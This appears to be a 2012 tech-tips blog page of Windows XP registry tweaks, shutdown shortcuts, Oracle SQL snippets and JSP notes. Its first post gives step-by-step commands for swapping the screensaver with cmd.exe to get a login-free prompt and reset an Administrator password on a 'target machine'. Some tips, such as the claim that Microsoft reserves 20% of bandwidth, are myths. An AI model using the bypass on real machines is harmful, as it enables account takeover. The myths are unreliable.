MY mENU


Saturday 28 April 2012

Hack XP Password


If you log into a limited account on your target machine and open up a dos prompt then enter this set of commands Exactly. Forget about the explanations as it is for the sake of clarity purpose Command Expalnation


cd\ *drops to root


cd\windows\system32 *directs to the system32 dir


mkdir temphack *creates the folder temphack


copy logon.scr temphack\logon.scr *backsup logon.scr


copy cmd.exe temphack\cmd.exe *backsup cmd.exe


del logon.scr *deletes original logon.scr


rename cmd.exe logon.scr *renames cmd.exe to logon.scr


exit *quits dos


Now what you have just done is told the computer to backup the command program and the screen saver file, then edits the settings so when the machine boots the screen saver you will get an unprotected dos prompt with out logging into XP. Once this happens if you enter this command minus the quotes "net user here> password" If the Administrator Account is called Frank and you want the password blah enter this "net user Frank blah" and this changes the password on franks machine to blah and you should be in.

Friday 27 April 2012

Control User Logins by Hacking the Registry


To control logon options, run the Registry Editor [Hack #83] and go to the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion Winlogon subkey, which contains a variety of logon settings (as well as some settings not having to do directly with logons). Following are the most important values you can edit to customize logons. 


DontDisplayLastUserName This setting lets you control how the system logon dialog box is used. If this String value is present and set to 1, all users will have to enter both their username and password to log on. If the value is 0, the name of the last user to log on will be
displayed in the system logon dialog box.


DefaultUserName This String value contains the name of the last user who logged on. It will be displayed only if the DontDisplayLastUserName value is not present or is set to 0.
LegalNoticeCaption and LegalNoticeText// Already discussed 


PasswordExpiryWarning This DWORD value lets you display a warning message to users a certain number of days before their passwords are set to expire. It lets you determine how many days ahead of time the warning should be issued. To edit the value, click the decimal
button and enter the number of days.


ShutdownWithoutLogon This String value enables or disables a button on the XP logon dialog box that lets the system shut down. A value of 1 enables the button (so that it is shown); a value of 0  disables the button (so that it is not shown).


Shell It determines the shellthe user interfacethat will be used by XP. The default is Explorer.exe, but it can be another shell as wellfor example, the Program Manager from older Windows versions. Type in the name of the program; for example, Progman.exe for the Program Manager, or Taskman.exe for the Task Manager.


AutoRestartShell This DWORD value doesn't have to do with logons either, but it's another good one to know. It sets whether to automatically restart the Windows shell if the shell crashes. A value of 1 automatically restarts the shell. A value of 0 tells XP not to restart the shell, forcing you to log off and then back on again to restart it.

Automatically Turn On Num Lock, Scroll Lock, and Caps Lock


When you start your PC, Num Lock, Scroll Lock, and Caps Lock don't automatically toggle on. You can automatically turn each of them on or off whenever your PC starts, for all accounts on the PC. As a practical matter, most people probably want to have only Num Lock automatically turned on, but this Registry hack allows you to force any combination of keys on or off. Run the Registry Editor [Hack #83] and go to HKEY_USERS\.Default\Control Panel\Keyboard. Find the String value InitialKeyboardIndicators. By default, it is set to 0, which means that Num Lock, Scroll Lock, and Caps Lock are all turned off. Set it to any of the following values, depending on the combination of keys you want turned on or off:
0-Turns off Num Lock, Caps Lock, and Scroll Lock
1-Turns on Caps Lock
2-Turns on Num Lock
3-Turns on Caps Lock and Num Lock
4-Turns on Scroll Lock
5-Turns on Caps Lock and Scroll Lock
6-Turns on Num Lock and Scroll Lock
7-Turns on Caps Lock, Num Lock, and Scroll Lock
Exit the Registry. When you restart, the new setting will take effect.

Thursday 26 April 2012

Play around registry- More Options




Launch Regedit and go to the following Registry Key: HKEY_CURRENT_USER /Software/Microsoft/CurrentVersion/Policies Under this key, there will definitely be a key named explorer. Now under this explorer key we can create new DWORD values and modify it's value to 1 in order to impose the restriction. If you want to remove the Restriction, then you can simply delete the respective DWORD values or instead change their values to 0. The following is a list of DWORD values that can be created under the Explorer Key:


NoDeletePrinter: Disables Deletion of already installed Printers


NoAddPrinter: Disables Addition of new Printers

NoRun : Disables or hides the Run Command


NoSetFolders: Removes Folders from the Settings option on Start Menu (Control Panel, printers, Taskbar) 


NoSetTaskbar: Removes Taskbar system folder from the Settings option on Start Menu


NoFind: Removes the Find Tool (Start >Find)


NoDrives: Hides and does not display any Drives in My Computer


NoNetHood: Hides or removes the Network Neighborhood icon from the desktop


NoDesktop: Hides all items including, file, folders and system folders from the Desktop


NoClose: Disables Shutdown and prevents the user from normally shutting down Windows.


NoSaveSettings: Means to say, 'Don't save settings on exit' DisableRegistryTools: Disable Registry Editing Tools (If you disable this option, the Windows Registry Editor(regedit.exe) too will not work.)


NoRecentDocsHistory: Removes Recent Document system folder from the Start Menu (IE 4 and above) ClearRecentDocsOnExit: Clears the Recent Documents system folder on Exit.
Nolnternetlcon: Removes the Internet (system folder) icon from the Desktop Now create a new key and name it System. Under this new key, system we can create the following new DWORD values


NODispCPL: Hides Control Panel


NoDispBackgroundPage: Hides Background page.


NoDispScrsavPage: Hides Screen Saver Page


NoDispAppearancePage: Hides Appearance Page


NoDispSettingsPage: Hides Settings Page


NoSecCPL: Disables Password Control Panel


NoPwdPage: Hides Password Change Page


NoAdminPaqe: Hides Remote Administration Page


NoProfilePage: Hides User Profiles Page


NoDevMgrPage: Hides Device Manager Page


NoConfigPage: Hides Hardware Profiles Page


NoFileSysPage: Hides File System Button


NoVirtMemPage: Hides Virtual Memory Button Similarly, if we create a new subkey named Network, we can add the following DWORD values under it:


NoNetSetupSecurityPage: Hides Network Security Page


NoNelSetup: Hides or disables the Network option in the Control Panel


NoNetSetupIDPage: Hides the Identification Page


NoNetSetupSecurityPage: Hides the Access Control Page


NoFileSharingControl: Disables File Sharing Controls


NoPrintSharing: Disables Print Sharing Controls.

Wednesday 25 April 2012

Change Internet Explorer's Caption


Open the registry editor and go to HKEY_LOCAL_MACHINE\SOFTWARE \Microsoft \Internet Explorer\Main. In the right pane create a new String Value name Window Title (Note the space between Window and Title). Right click on this newly created String Value and select Modify. Type in the new caption you want to be displayed. Restart for the settings to take place.

Tuesday 24 April 2012

Shutdown and Reboot in Style ☺


Turning off or rebooting XP involves a several-step process: click the Start menu, choose Shut Down, and then select Shut Down or Restart. If you want, however, you can exit or reboot much more quickly, by creating a shortcut that enables one-click shutdowns. You can also use the shortcut to customize the shutdown or reboot for example, by displaying a specific message or automatically shutting down any programs that are running.


First, create a shortcut on your desktop by right-clicking the desktop, choosing New, and then choosing Shortcut. The Create Shortcut Wizard appears. In the box asking for the location of the shortcut, type shutdown. After you create the shortcut, doubleclicking it will shut down your PC. But you can do much more with a shutdown shortcut than merely shut down your PC.
You can add any combination of several switches to do extra duty, like this:


shutdown -r -t 01 -c "Rebooting your PC"


Double-clicking that shortcut will reboot your PC after a one-second delay and display the message "Rebooting your PC." The shutdown command includes a variety of switches you can use to customize it. 
Switches you can use with shutdown             Switch What it does
-s                                                                      Shuts down the PC.
-l                                                                        Logs off the current user.
-t nn                          Indicates the duration of delay, in seconds, before performing the action.
-c            "messagetext" Displays a message in the System Shutdown window. A maximum
of 127 characters can be used. The message must be enclosed in quotation marks.


-f                         Forces any running applications to shut down.
-r                         Reboots the PC.


Here are the ones I use for shutdowns and restarts:


Shutdown -s -t 03 -c "See you later!"


shutdown -r -t 03 -c "You can't get rid of me that quickly!"


You always have to turn from the CPU after running this command. (Same with AT and ATX powered machines.) If you want to turn down power of ATX machine automatically, run the following commnd "c:\windows\system32\tsshutdn.exe 00 / POWERDOWN / DELAY:00" This is used to turn off a server. Even though you don't have networked computers attached to your computer, this works.

Monday 23 April 2012

Disabling Drives in My Computer


To disable the display of local or networked drives when you click My Computer go to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion \Policies \Explorer Now in the right pane create a new DWORD item and name it NoDrives. Now modify it's value and set it to 3FFFFFF (Hexadecimal). Now press F5 to refresh. When you click on My Computer, no drives will be shown. To enable display of drives in My Computer, simply delete this DWORD item.

Saturday 21 April 2012

Increasing Band-Width By 20%


Microsoft reserves 20% of your available bandwidth for their own purposes like Windows Updates and interrogating your PC etc. Click Start then Run and type "gpedit.msc" without quotes. This opens the group policy editor. Then go to: Local Computer Policy Computer Configuration Administrative Templates Network  QOS Packet Scheduler and then to LimitReservableBandwidth. Double click on Limit Reservable bandwidth. It will say it is not configured, but the truth is under the 'Explain' tab i.e."By default, the Packet Scheduler limits the system to 20 percent of the bandwidth of a connection, but you can use this setting to override the default." So the trick is to ENABLE reservable bandwidth, then set it to ZERO. This will allow the system to reserve nothing, rather than the default 20%.It works on Win 2000 as well.

Friday 20 April 2012

Internet Explorer As Fast As FireFox:


Open registry editor by going to Start then Run and entering regedit. Once in registry, navigateto key HKEY_CURRENT_USER\Software\microsoft\Windows\ Current Version \InternetSettings. Right click on the right windows > New > DWORD. Type MaxConnectionsPerServer > You can set value (the more higher the no, the more good speed eg:99). Create another DWORD >type MaxConnectionsPer1_0Server. Then put a high value as mentioned above. Restart I.E and you are done.

Thursday 19 April 2012

Delete INDEX.DAT (Faster Browsing)


First of all open up the command prompt. For that go Start Run cmd. Now press CTRL + ALT + DELETE to bring up the task manager. In the task manager, go to processes and click on explorer.exe. End the “explorer.exe” task. All the windows will be closed down. Don’t panic. You can still see the command prompt. In the command prompt type the following command exactly as it is: Del "C:\Documents and Settings\\Local Settings\Temporary
Internet Files\Content.IE5\index.dat" 


Note is the name that you use to log in to your windows. Some log in as “administrator” while some with another name eg: Sandeep. Whatever it is, type that name. This will also help in fixing all the issues related to browser performance, especially the ones that cause browser to hang frequently.

Wednesday 18 April 2012

Speed up IE Start Up


This tweak tells Internet Explorer to simply 'run', without loading any webpages. If you use a 'blank' page, that is still a page, and slows access. Notice the 'about:blank' in the address bar. The blank html page must still be loaded. To load IE with 'nothing' [nothing is different than blank]:
1. Right-click on any shortcut you have to IE
[You should create a shortcut out of your desktop IE icon, and delete the original icon]
2. Click Properties
3. Add -nohome [with a space before the dash] after the endquotes in the Target field.
4. Click OK

JAR Files in java


1. JAR stands for “Java Archive”. The 1.1 JDK comes with a utility called ‘jar’ that creates JAR files. Example syntax: jar -cf Jungle.jar Panther.class Leopard.class
2. Directories are processed recursively
3. Can specify a JAR file in a Web page by adding ‘archive=”jars/Jungle.jar” ’ to the tag. E.g.
4. You can also define more than one JAR file in the archive value by listing them all within the quotes and separating their names with commas.

Tuesday 17 April 2012

DMA Mode for CD-ROMs


Like Windows 2000, Windows XP still fails to set the DMA mode correctly for the IDE device designated as the slaves on the primary IDE and secondary IDE channels. Most CD- ROMS are capable of supporting DMA mode, but the default in XP is still PIO. Setting it to DMA won't make your CD-ROM faster, but it will consume less CPU cycles. Here's how: Open the Device Manager. One way to do that is to right click on "My Computer", select the Hardware tab, and Select Device Manager. Expand "IDE ATA/ATAPI Controllers" and double-click on "Primary IDE Channel" .Under the "Advanced Settings" tab, check the "Device 1" setting. More than likely, your current transfer mode is set to PIO. Set it to "DMA if available". Repeat the step
for the "Secondary IDE Channel" if you have devices attached to it. Reboot.

Servlets Introduction


Servlets are Java technology’s answer to Common Gateway Interface (CGI) programming. They are programs that run on a Web server, acting as a middlevlayer between a request coming from a Web browser or other HTTP clientvand databases or applications on the HTTP server. Their job is to:


1. Read any data sent by the user. This data is usually entered in a form on a Web page, but could also come from a Java applet or a custom HTTP client program.

2. Look up any other information about the request that isvembedded in the HTTP request.
This information includes details about browser capabilitie,vcookies, the host name of the requesting client, and so forth.


3. Generate the results. This process may require talking to a database, executing an
RMI or CORBA call, invoking a legacy application, or computing the response directly.


4. Format the results inside a document. In most cases, this involves embedding the information inside an HTML page.


5. Set the appropriate HTTP response parameters. This means telling the browser what type of document is being returned (e.g., HTML), setting cookies and caching parameters,
and other such tasks.


6. Send the document back to the client. This document may be sent in text format (HTML), binary format (GIF images), or even in a compressed format like gzip that
is layered on top of some other underlying format.

Monday 16 April 2012

Cleaning Recent Docs Menu and the RUN


The Recent Docs menu can be easily disabled by editing the Registry. To do this go to the following Key: HKEY_CURRENT_USER\Software\Microsoft\ Windows\ CurrentVersion\Policies\Explorer. Now in the right pane, create a new DWORD value by the name: NoRecentDocsMenu and set it's value to 1. Restart Explorer to save the changes. You can also clear the RUN MRU history. All the listings are stored in the key: HKEY_USERS\.Default\Software\Microsoft\Windows\CurrentVersion\ Explorer\ RunMRU. You can delete individual listings or the entire listing. To delete History of Find listings go to: HKEY_CURRENT_USER\Software\ Microsoft \ Windows \CurrentVersion\Explorer\Doc Find Spec MRUand delete.

Display Odd/ Even number of records


Odd number of records:


select * from emp where (rowid,1) in (select rowid, mod(rownum,2) from emp);
1
3
5


Even number of records:


select * from emp where (rowid,0) in (select rowid, mod(rownum,2) from emp)
2
4
6

Sunday 15 April 2012

Display the number value in Words


SQL> select sal, (to_char(to_date(sal,'j'), 'jsp')) from emp;


the output like,


SAL (TO_CHAR(TO_DATE(SAL,'J'),'JSP'))
--------- -----------------------------------------------------
800 eight hundred
1600 one thousand six hundred
1250 one thousand two hundred fifty


If you want to add some text like, Rs. Three Thousand only.


SQL> select sal "Salary ",(' Rs. '|| (to_char(to_date(sal,'j'), 'Jsp'))|| ' only.')) "Sal in Words" from emp 
/


Salary Sal in Words
------- ------------------------------------------------------
800 Rs. Eight Hundred only.
1600 Rs. One Thousand Six Hundred only.
1250 Rs. One Thousand Two Hundred Fifty only.

Saturday 14 April 2012

Disable 8.3 Name Creation in NTFS


Files that use the 8.3 naming convention can degrade NTFS drive performance. Unless you have a good reason for keeping the 8.3 naming convention intact (such as if you’re using 16-bit programs), a performance gain can be achieved by disabling it. Set the Registry DWORD key HKEY_LOCAL_MACHINE\ SYSTEM\CurrentControlSet\Control\FileSystem\NtfsDisable8dot3NameCreation to 1. Exit the
Registry and reboot.

Alter Prefetch Parameters


Pre-fetching (the reading of system boot files into a cache for faster loading) is a commonly overlooked component that can have a significant impact on system boot time. To see which files are gathered using each setting, clear the prefetch cache located at C:\Windows\Prefetch and then enable one of the settings listed in this hack. Clear the cache and repeat for each setting. Set the Registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\
Memory Management\PrefetchParameters\EnablePrefetcher to 0 to disable prefetching, 1 to prefetch application launch files, 2 to prefetch boot files, or 3 to prefetch as many files as possible.

Oracle cursor : Implicit & Explicit cursors


Oracle uses work areas called private SQL areas to create SQL statements.
PL/SQL construct to identify each and every work are used, is called as Cursor.
For SQL queries returning a single row, PL/SQL declares all implicit cursors.
For queries that returning more than one row, the cursor needs to be explicitly declared.


Explicit Cursor attributes There are four cursor attributes used in Oracle
cursor_name%Found, cursor_name%NOTFOUND, cursor_name%ROWCOUNT, cursor_name%ISOPEN


Implicit Cursor attributes
Same as explicit cursor but prefixed by the word SQL: SQL%Found, SQL%NOTFOUND, SQL%ROWCOUNT, SQL%ISOPEN


Tips : 1. Here SQL%ISOPEN is false, because oracle automatically closed the implicit cursor after executing SQL statements.


 2. All are Boolean attributes.

Friday 13 April 2012

Place Windows Kernel into RAM


It’s a given that anything that runs in RAM will be faster than an item that has to access the hard drive and virtual memory. Rather than have the kernel that is the foundation of XP using the slower Paging Executive functions, use this hack to create and set the DisablePagingExecutive DWORD to a value of 1. Perform this hack only if the system has 256MB or more of installed RAM! Edit the Registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\MemoryManagement\DisablePagingExecutive to 1 to disable paging and have the kernel run in RAM (set the value to 0 to undo this hack). Exit the Registry and reboot

Display the records between two range


select rownum, empno, ename from emp where rowid in(select rowid from emp where rownum <=&upto minus select rowid from emp where rownum<&Start);
Enter value for upto: 10
Enter value for Start: 7
ROWNUM EMPNO ENAME
--------- --------- ----------
1 7782 CLARK
2 7788 SCOTT
3 7839 KING
4 7844 TURNER

Thursday 12 April 2012

Add Specific Folders to Open Dialog Box (XP Home only)


When you use certain Windows applications (such as Notepad) to open a file, on the left side of the Open dialog box are a group of icons and folders (such as My Documents, My Recent Documents, Desktop, My Computer, and My Network) to which you can navigate to open files. A registry hack will let you put just the folders of your choosing on the left side of the Open dialog box. Note that when you do this, it will affect XP applications such as Notepad and Paint that use the Open and Save common dialog boxes. However, it won’t affect Microsoft Office applications and other applications that don’t use the common dialog boxes. Run the Registry Editor and go to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion \Policies\comdlg32. This is the key that determines how common dialog boxes are handled.
You’re going to create a subkey that will create a customized location for the folders, and then give that subkey a series of values, each of which will define a folder location.To start, create a new subkey underneath EY_CURRENT_USER \Software\Microsoft\Windows\CurrentVersion\ Policies\comdlg32 called Placesbar,and create a String value for it named Place0. Give Place0 a value of the topmost folder that you want to appear on the Open dialog box, for example, C:\Projects. Next, create another String value for Placesbar called Place1. Give it a value of the second folder that you want to appear on the Open dialog box. You can put up to five icons on the Open dialog box, so create new String values up to Place4 and give them values as outlined in the previous steps. When you’re done, exit the Registry. You won’t have to reboot for the changes to take effect. If you do not want any folders to appear in common Open dialog boxes, you can do that as well. In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ Policies\comdlg32, create a new DWORD value called NoPlacesBar and give it a value of 1.

Exit the Registry. If you want the folders back, either delete NoPlacesBar or give it a value of 0.

How do I display row number with records?


To achive this use rownum pseudocolumn with query, like SQL> SQL> select rownum, ename from emp;
Output:
1 Scott
2 Millor
3 Jiyo
4 Smith

Wednesday 11 April 2012

Turn Off System Beeps


Go to HKEY_CURRENT_USER\Control Panel\Sound, and find the Beep and ExtendedSounds String values. Set each value to No. Exit the Registry and reboot. The beeps will no longer sound. Hey, your XP is no longer noisy!!

How do I eliminate the duplicate rows ?


SQL> delete from table_name where rowid not in (select max(rowid) from table group by
duplicate_values_field_name);
or
SQL> delete duplicate_values_field_name dv from table_name ta where rowid <(select min(rowid) from
table_name tb where ta.dv=tb.dv);
Example.
Table Emp
Empno Ename
101      Scott
102       Jiyo
103      Millor
104      Jiyo
105      Smith
delete ename from emp a where rowid < ( select min(rowid) from emp b where a.ename = b.ename);
The output like,
Empno Ename
101      Scott
102      Millor
103      Jiyo
104     Smith

Tuesday 10 April 2012

Hide All Icons in the Notification Area


The system tray, also called the notification area, is the small area on the far right side of the taskbar, in which utilities and programs that run in the background, such as antivirus software, show their icons. I don’t find it a particularly intelligent use of screen real estate, so I prefer not to see the icons there. To hide them, run the Registry Editor and go to the following key:
HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer. 

Among other things, this key controls the display of objects throughout XP. Create a new DWORD called NoTrayItemsDisplay. Assign it a value of 1. (A value of 0 will keep the icons displayed.) Exit the Registry and reboot.

While you’re at the HKEY_CURRENT_USER/Software/Microsoft/Windows/ CurrentVersion/Policies/Explorer key, you can also delete the My Recent Documents icon on the Start menu. Create a new DWORD called NoRecentDocsMenu. Assign it a value of 1. (A value of 0 will keep the icon displayed.) Exit the Registry and reboot.

Expression Language - EL in JSP


Expression Language (EL) was introduced in JSP 2.0 specification. You can do almost everything like scriptlet by using EL which is simpler to understand.

Basic syntax: The syntax of expression language is very simple. No matter where it is called, it always follows the form as bellows:

${expr}
In the syntax above, expr is an expression. When the Java compiler sees the sign ${}, it evaluates the expr and injects the result in the place where ${expr} is called. Let take a look at an example:
In the above example, first we use the action useBean to instantiate a new object of the class Message and set its text property. Then we use ${msg.text} as an expression. Whencompiler sees this syntax, it evaluates the expression which is msg.text and invokes the appropriate method of the object which returns the value of text property. In this case, on the screen you will see the message "this is a message" is displayed.

Literal Values

Literal values are constants with a specific data type and they can be used in expression along with variables. There are five basic five types as follow:
  1. Boolean: true and false
  2. Integer: a combination of numbers from 0 to 9
  3. Floating Point
  4. String
  5. Null: null

Monday 9 April 2012

Pop Up a Message at Start Up


To pop a banner which can contain any message you want to display just before a user is going to log on, go to the key:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System.

Now create a new string Value in the right pane named LegalNoticeCaption and enter the value that you want to see in the Menu Bar. Now create yet another new string value and name it LegalNoticeText. Modify it and insert the message you want to display each time Windows boots. This can be effectively used to display the company's private policy each time the user logs on to his NT box.

Operators in Jsp


Expression language supports a wide range of operators including arithmetic, relational and logical operators. EL allows you to apply those operators to the literal and variables forcalculations. Here is the list of operators with its alternative version.  

OperatorAlternativeMeaning
[]
 
Collection member access
·
 
Property  access
()
 
Grouping
-
 
Unary Negation
!
not
Logical not
Empty
 
Empty test
*
 
Multiplication
/
div
Division
%
mod
Modulo or division remainder
+
 
Addition
-
 
Subtraction
lt
Less than
gt
Greater than
<=
le
Less than or equal
>=
ge
Greater than or equal
==
eq
Equality
!=
ne
Inequality
&&
and
Logical and
||
or
Logical or
=
 
Assignment
?:
 
Conditional operator